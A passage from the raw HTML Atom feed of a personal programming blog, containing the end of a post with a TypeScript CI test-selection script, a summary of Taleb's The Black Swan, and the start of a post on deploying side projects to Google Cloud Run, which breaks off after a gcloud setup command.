</div><p>And the full script which finds out the patch of this pull request over the base branch can be seen   
    
    
<a href="https://github.com/celo-org/celo-monorepo/blob/a021ca1493e27be3ebe81e717c18b7602bdf3419/scripts/check_if_test_should_run_v2.ts?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>. The most crucial method being,</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Typescript
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-typescript" data-lang="typescript"><span style="display:flex;"><span><span style="color:#268bd2">async</span> <span style="color:#268bd2">function</span> checkIfTestShouldRun() {
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">const</span> currentBranch: <span style="color:#dc322f">string</span> <span style="color:#719e07">=</span> <span style="color:#719e07">await</span> getCurrentBranch()
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">const</span> isCriticalBranch: <span style="color:#dc322f">boolean</span> <span style="color:#719e07">=</span>
</span></span><span style="display:flex;"><span>    isStagingBranch(currentBranch) <span style="color:#719e07">||</span>
</span></span><span style="display:flex;"><span>    isProductionBranch(currentBranch) <span style="color:#719e07">||</span>
</span></span><span style="display:flex;"><span>    isMasterBranch(currentBranch)
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> (isCriticalBranch) {
</span></span><span style="display:flex;"><span>    logMessage(<span style="color:#2aa198">&#39;We are on staging or production branch&#39;</span>)
</span></span><span style="display:flex;"><span>    console.info(<span style="color:#2aa198">&#39;true&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">const</span> branchCommits: <span style="color:#dc322f">string</span>[] <span style="color:#719e07">=</span> <span style="color:#719e07">await</span> getBranchCommits()
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> (branchCommits.length <span style="color:#719e07">===</span> <span style="color:#2aa198">0</span>) {
</span></span><span style="display:flex;"><span>    logMessage(<span style="color:#2aa198">&#39;No commits found; this is most likely a bug in the checking script&#39;</span>)
</span></span><span style="display:flex;"><span>    process.exit(<span style="color:#2aa198">1</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">for</span> (<span style="color:#268bd2">const</span> commit <span style="color:#719e07">of</span> branchCommits) {
</span></span><span style="display:flex;"><span>    logMessage(<span style="color:#586e75">`</span>\<span style="color:#586e75">nChecking commit </span><span style="color:#2aa198">${</span>commit<span style="color:#2aa198">}</span><span style="color:#586e75">...`</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">const</span> paths: <span style="color:#dc322f">string</span>[] <span style="color:#719e07">=</span> dirs.concat([<span style="color:#2aa198">&#39;../../yarn.lock&#39;</span>])
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">const</span> anyPathsChanged: <span style="color:#dc322f">boolean</span> <span style="color:#719e07">=</span> <span style="color:#719e07">await</span> checkIfAnyPathsChangedInCommit(commit, paths)
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> (anyPathsChanged) {
</span></span><span style="display:flex;"><span>      console.info(<span style="color:#2aa198">&#39;true&#39;</span>)
</span></span><span style="display:flex;"><span>      <span style="color:#719e07">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  console.info(<span style="color:#2aa198">&#39;false&#39;</span>)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">Book Summary: The Black Swan by Nassim Nicolas Taleb</title><link href="https://ashishb.net/book-summary/the-black-swan/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-bed-of-procrustes/?utm_source=atom_feed" rel="related" type="text/html" title="The Bed of Procrustes by Nassim Nicholas Taleb"/><link href="https://ashishb.net/book-summary/antifragile/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Antifragile by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/skin-in-the-game/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Skin in the game by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/fooled-by-randomness/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Fooled by Randomness by Nassim Nicholas Taleb"/><link href="https://ashishb.net/book-summary/everybody-lies/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary - Everybody Lies"/><id>https://ashishb.net/book-summary/the-black-swan/</id><author><name>Ashish Bhatia</name></author><published>2020-05-02T01:20:51+00:00</published><updated>2020-05-02T01:20:51+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the difference between Mediocristan and Extremistan! Learn why randomness impacts our lives differently and how to avoid Black Swans&rsquo; consequences.</blockquote><p>The   
    
    
<a href="https://amzn.to/3cUW3GX?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> posits a unique viewpoint to understand randomness and unpredictability in the world around us. Rather than trying to predict the improbable black swans, it focuses more on how not to be adversely impacted by them.</p>
<h2 id="mediocristan-vs-extremistan">Mediocristan vs Extremistan</h2>
<p>This is the central concept of the book. Let&rsquo;s illustrate this with human height vs. human wealth. If you are trying to find the average height of humans by sampling 100 humans, then no single sample will have a significant impact. The tallest human is about 8 ft tall; the shortest is about 2 ft. That&rsquo;s a difference of only 4x. A single sample of 8 ft where the average is 6 ft can skew the overall ratio by only 0.08 ft (1 inch). <strong>Once your sample set is large, no single instance will significantly change the aggregate</strong>.</p>
<p>Now, consider the wealth; you can encounter 99 humans with a net worth of ~100$, and if you meet Bill Gates next, the average will become $1 Billion!!! A single sample can skew the average drastically. The average net worth of an American household is ~100,000. Bill Gates&rsquo;s net worth is a million times more than that. <strong>One single observation can disproportionately impact the aggregate</strong>.</p>
<ol>
<li><strong>Wealth comes from extremistan. Height comes from mediocristan.</strong> Most outcomes of the biological process like height, weight, age expectations belong to mediocristan. Standard statistics like Gaussians are valid here. The regression to mean is standard here. That&rsquo;s not true of extremistan. If you encounter someone 7 ft tall, the likelihood of encountering another 7 ft tall person is low. However, if the stock market, which belongs to extremistan, goes down by 20%, then the likelihood of another 20% fall the next day isn&rsquo;t any lower. Mediocristan does not care about extremes. They severely impact Extremistan.</li>
<li>We see Black Swans in extremistan, single incidents which have huge influences on history.</li>
<li>It isn&rsquo;t that whether Black Swans are more frequent than our imagination or not. The critical fact is that they are more consequential.</li>
<li>Positive black swans take time to show up while the negative ones (destruction) happens very quickly. This perception of causation has a biological foundation.</li>
<li>Mediocristan has a &ldquo;typical&rdquo; extreme. For example, a 7 ft human is a typical extreme in terms of height. There is no &ldquo;typical&rdquo; rich, 100 million, 1 billion, 10 billion, all have a very different lifestyle. Similarly, there is no &ldquo;typical&rdquo; war. Since we don&rsquo;t know what a typical extreme in extremistan is, we cannot estimate its impact.</li>
<li>We overestimate the positive and negative effects of significant events like buying a car, the death of a loved one, etc. on our lives. But that&rsquo;s OK, these errors are in mediocristan and don&rsquo;t cost much. However, such self-deceptions can cost a lot in extremistan.</li>
<li>In mediocristan, samples regress to mean. Consider, for example, if the total height of two men is 14 ft, then you would imagine that both are about 7 ft (and not 12 ft and 2 ft). While if there are two authors with book sales with the total book sales of 100 million, then it is more likely than one of them had ~100 million in book sales, and the other one has none. The effect is even more dominant if the total book sales are 1 billion since very few books reach that scale.</li>
<li>Preferential attachment and cumulative advantage play a significant role in extremistan. People read a famous author even more, and the benefits cumulate. Winning today increases the chance of winning in the future.</li>
<li>People love using Gaussian since once you assume gaussian, it yields its properties with sufficient sampling. Gaussian does not apply in extremistan. Gaussian can be used in mediocristan, and even if it is wrong, the harm done is usually not devastating.</li>
<li>Classical thermodynamics produces Gaussian variations, while informational variations are from Extremistan. For example, food is not just calorie in-calorie out, but it is complex signaling to your body.</li>
<li>When dealing with simple binary payoffs in mediocristan, for example, casino bets, then the standard statistical methods work best. When dealing with complex binary payoffs in mediocristan, for example, epidemics, the usual statistical methods might work with some limitations.</li>
<li>When dealing with simple payoffs in extremistan, since the harm is limited, it is fine to be wrong. The real danger is with complex payoffs in extremistan. Avoid any adverse outcomes here. Do not model the probability of the outcome in this case. <strong>No models are better than the wrong models for forecasting.</strong> If possible, cut your exposure by say buying insurance.</li>
</ol>
<h2 id="narrative-fallacy">Narrative Fallacy</h2>
<p>We are vulnerable to overinterpretation. We love compact stories over accepting raw truth. We should enjoy history as an enumeration of accounts instead of theorizing it.</p>
<h2 id="confirmation-bias">Confirmation Bias</h2>
<p>We not only form hypothesis early on but try to only look at the data in a way that it only confirms our existing belief.</p>
<h3 id="belief-perseverance">Belief Perseverance</h3>
<p>Belief Perseverance is our tendency to discard any data that discredits our existing hypothesis as outliers. Combine this with Confirmation Bias, and it can quickly create a scenario where someone presented with more data (and hence more noise) ends up forming strong incorrect opinions, which are harder to refute later. For example, consider people spinning a wheel and then predicting the number of countries in Africa. Those that got a lower number, despite knowing no relation, estimated a smaller number of countries in Africa and vice versa.</p>
<h2 id="silent-evidence">Silent Evidence</h2>
<p>We only look at the evidence which is visible to us. For example, we look at successful authors and try to create a narrative of what traits lead to success. We don&rsquo;t stop and think that maybe the other 99% of authors who failed might have the same characteristics as well. <strong>We may enjoy what we see, but there is no point in reading too much into the success stories since we don&rsquo;t see the full picture.</strong> Consider, for example, radiating rats, which will kill the weak ones, and the surviving dominant rats will be left to roam in New York City. It might make people feel that the radiation made those rats powerful when in itself, radiation just filtered the most powerful ones out. Or consider bubonic plague it is &ldquo;the most dangerous epidemic we know of&rdquo; and not the &ldquo;most dangerous epidemic&rdquo;. There might have been a more dangerous one, but no observer ever survived to narrate it.</p>
<h3 id="beginners-luck">Beginner&rsquo;s Luck</h3>
<p>Beginner&rsquo;s luck does exist, and it&rsquo;s because of the silent evidence. If 100 people try gambling for the first time, the ones who win big will try again, the ones who don&rsquo;t drop out almost immediately. And those who continue will narrate the story of the good old days when they were lucky.</p>
<h2 id="ludic-fallacy">Ludic Fallacy</h2>
<p>The ludic fallacy is the mistaken belief that one can use gamified models with well-defined probabilities for modeling real-life situations.</p>
<h3 id="inverse-problems">Inverse Problems</h3>
<p>Most problems we encounter in life are inverse. For example, imagine a few ice cubes which are melting on a floor, and you finally came in to see the puddle of water, your job is to find out the number and the shapes of ice cubes. This inverse problem is much harder than trying to imagine the puddle, which will be formed given a set of ice cubes. Similarly, we don&rsquo;t see the underlying rules of the stock market, we only see a pattern, and we try to form a thesis out of what could be happening.</p>
<h2 id="randomness">Randomness</h2>
<ol>
<li>When you are employed, hence, dependent on other people&rsquo;s judgment, then looking busy can help you claim the results of a random outcome.</li>
<li>The more information you give someone, the more hypotheses they will form along the way, and the worse off they will be. They see more random noise and mistake it for information.</li>
<li>The more routine the task is, the better you learn to forecast.</li>
<li>Professions that deal with the future base their studies on the non-repeatable past have an expert problem.</li>
<li>There is a difference between techne (technical) and episteme (Epistemological) knowledge. The first one can have experts, for example, brain surgeons, the second one do not, for example, it is not obvious who will make a better economic forecast, a finance Ph.D. vs. a business writer. Tetlock studied and concluded that those who had a more prominent reputation in Economics were worse predictors. Experts underestimate the duration of the war. While human history is full of violent conflicts, large-scale wars are events new to human history.</li>
<li>Corporations survive not because they make good forecasts but because they may have been the lucky ones.</li>
<li>Luck both made and unmade Carthage. It made and unmade Rome.</li>
<li>Randomness in mediocristan is predictable. It isn&rsquo;t in extremistan.</li>
</ol>
<h2 id="nature">Nature</h2>
<ol>
<li>Mother nature did not attend high school courses on Geometry or read the books of Euclid at the library of Alexandria.</li>
<li>Mother nature does not like anything too big for resilience. For example, killing an elephant does not impact nature, while a falling bank can crumble the whole financial system.</li>
<li>Mother nature does not like too much connectivity or globalization.</li>
<li>Mother nature loves redundancies. Defensive redundancy which allows one to survive under adversities. Functional redundancy which allows one multiple different structures to perform the same task.</li>
</ol>
<h2 id="forecasting">Forecasting</h2>
<p>There are three significant issues with forecasting.</p>
<ol>
<li>The accuracy or the variance of the projection matters more than just the projected value.</li>
<li>The duration matters. The longer the duration of the forecast, the lower is the accuracy.</li>
<li>The unexpected outcomes. Randomness is extremistan allows for far major optimistic or pessimistic scenarios than one can imagine, especially when the worst-case outcome is more consequential than the forecast itself.</li>
<li>Generalizing a theory out of samples requires intuition and common sense. We don&rsquo;t have a well-developed intuition for Black Swans.</li>
<li>In practice, randomness due to lack of information is the same as randomness due to unpredictability.</li>
<li>Borrowing money makes you more vulnerable to forecast errors.</li>
<li>Regular events from the past can predict regular events. While extreme events are so rare and acute, that the past can never be used to predict them. The next bestseller might beat all the existing ones, and the subsequent stock market loss might be worse than any loss seen before.</li>
</ol>
<h2 id="gray-swan">Gray Swan</h2>
<ol>
<li>A Gray Swan is about modelable extremes while a Black Swan is about unknown unknowns.</li>
<li>The 1987 crash of the stock market was a Gray Swan. The 9/11 attack on the World center was a Black Swan.</li>
<li>Fractals are scale-invariant measures (unlike Gaussian), which can be used for modeling Gray Swans.</li>
<li>A rug at an eye-level corresponds to Mediocristan. A coastline, however, is a fractal, it looks the same from the ground level or the airplane.</li>
</ol>
<h2 id="black-swan">Black Swan</h2>
<ol>
<li>Black Swan has three attributes - unpredictability, consequences, and retrospective explainability. The last one allows experts to look back and pretend that they expected it.</li>
<li>The history is going to be dominated by an improbable event. I just don&rsquo;t know which one.</li>
<li>We build toys. Some of them like Laser, Internet, Compact Disks, change the world.</li>
<li>Rank beliefs not based on their plausibility but by the harm they may cause. It is fine to trust weather predictions for the picnic even if they might turn out to be wrong but don&rsquo;t trust the government&rsquo;s forecast for social security in 2040.</li>
<li>It is better to govern society based on awareness of ignorance than knowledge.</li>
<li>The government keeps putting money in the market, and nothing happens, and then suddenly, one day, it is hyperinflation.</li>
<li>We need to avoid exposure to small probabilities in specific domains. We simply cannot compute them.</li>
</ol>
<h2 id="miscellaneous">Miscellaneous</h2>
<ol>
<li>It is a contagion that determines the fate of a theory in social science, not its validity.</li>
<li>Life exists in pre-asymptote. Many theories that are right in the long-run (asymptote) are meaningless from an applicability perspective.</li>
<li>Categorizing is necessary for humans, but it becomes pathological when the category is seen as definitive. It prevents people from considering the fuzziness of boundaries, let alone revising those categories.</li>
<li>Good news is good first. How good matters rather little.</li>
<li>Most of the world around us is non-linear. We study linearity in the classroom since it is easier.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/taleb" term="taleb" label="taleb"/></entry><entry><title type="html">How to deploy side projects as web services for free</title><link href="https://ashishb.net/programming/free-deployment-of-side-projects/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/docker-scratch-image/?utm_source=atom_feed" rel="related" type="text/html" title="Docker: Be careful about the scratch image"/><link href="https://ashishb.net/programming/docker-101/?utm_source=atom_feed" rel="related" type="text/html" title="Docker 101: A basic web-server displaying hello world"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><id>https://ashishb.net/programming/free-deployment-of-side-projects/</id><author><name>Ashish Bhatia</name></author><published>2020-04-18T16:00:26+00:00</published><updated>2020-04-18T16:00:26+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how to build affordable side projects using Google Cloud Run and Docker. Learn deployment, persistence, and secrets management with open-source tools.</blockquote><p>In 2020, the web is still the most accessible permission-less platform. For the past few months, I have been playing and building side projects to simplify my life. I started with a   
    
    
<a href="https://calendarbot.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Calendar Bot</a> for scheduling events,   
    
    
<a href="https://decksaver.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">DeckSaver</a> for downloading decks from Docsend,   
    
    
<a href="https://autosnoozer.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">AutoSnoozer</a> for email management, and   
    
    
<a href="https://stayintouch.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">StayInTouch</a> for maintaining follow-ups.</p>
<p>When I started on this journey, I had the following in my mind.</p>
<ol>
<li>Cost of domain ~ 12$ a year or 1$ a month</li>
<li>Cost of a VM ~ 10$ a month</li>
</ol>
<p>And this is excluding maintenance efforts like TLS certificate renewal, server uptime, etc. I quickly realized that this isn&rsquo;t sustainable. A single project would cost ~150$ a year to run. Add a few more side-projects, and this will be a costly hobby.</p>
<p>To avoid the domain costs, I deploy almost all of my side-projects as a subdomain of my existing domain   
    
    
<a href="https://ashishb.net?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ashishb.net</a>.</p>
<p>For compute and storage, I looked for alternatives. Few alternatives like   
    
    
<a href="https://firebase.google.com/products/functions?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Firebase Cloud Functions</a> or   
    
    
<a href="https://aws.amazon.com/lambda/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">AWS Lambda</a> look great on the surface, but there is a considerable   
    
    
<a href="https://www.theregister.co.uk/2017/11/06/coreos_kubernetes_v_world/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">lock-in</a> involved. Searching further, I found   
    
    
<a href="https://cloud.google.com/run#pricing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Cloud Run</a>. It has zero base cost and zero lock-ins since it runs docker images and minimal configuration work. Cloud Run is serverless. The service deals with the task of getting and automatically renewing TLS certificates as well as scaling instances based on the demand. You get StackDriver logging for free. As there are no VMs, I can&rsquo;t SSH into the machine and make changes, which is excellent from a security perspective since there is no chance of someone compromising and running services on it. I have to upload Docker images, so I get an added discipline of building fully portable docker images, which, if required, can be moved elsewhere with zero portability cost. Now, docker images are stateless, so, for storing data, I could have either used   
    
    
<a href="https://cloud.google.com/sql/pricing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Cloud SQL</a> or   
    
    
<a href="https://cloud.google.com/storage/pricing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Cloud Storage</a> (the equivalent of   
    
    
<a href="https://aws.amazon.com/s3/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Amazon S3</a>). The base cost of Cloud SQL is high ~20-30$ month, while it is zero for Cloud Storage. So, my current architecture consists of Google Cloud Run + Google Cloud Storage. Now, since Google Cloud Run keeps these Docker containers on standby, keep the container image size small to ensure quick bootups (cold starts).</p>
<h2 id="persistence-and-secrets-on-google-cloud-run">Persistence and Secrets on Google Cloud Run</h2>
<p>There are two issues to consider when deploying docker images. One is persistence, and the second is credentials (secrets). I like the zero base price of Google Cloud Storage (GCS), and that&rsquo;s why it is my favorite for persistence. For storing credentials, say GCS read/write credentials, it is best not to store the keys in the docker image itself. The way I prefer to do is to pass them via Environment variables at the time of deployment. An even better approach for projects with multiple contributors is to use   
    
    
<a href="https://cloud.google.com/secret-manager?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Secret Manager</a>.</p>
<p>I mostly write in Go. I think it is a perfect language for building web services. That fact isn&rsquo;t surprising when one realizes that it came out of Google, a company initially built around web services. I templated out my setup for faster iteration. It&rsquo;s open-sourced at   
    
    
<a href="https://github.com/ashishb/golang-template-repo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://github.com/ashishb/golang-template-repo</a>.</p>
<h2 id="deployment">Deployment</h2>
<p>To deploy to Google cloud run, first   
    
    
<a href="https://cloud.google.com/sdk/install?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">install gcloud CLI</a> and do a one-time configuration.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ gcloud auth configure-docker
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
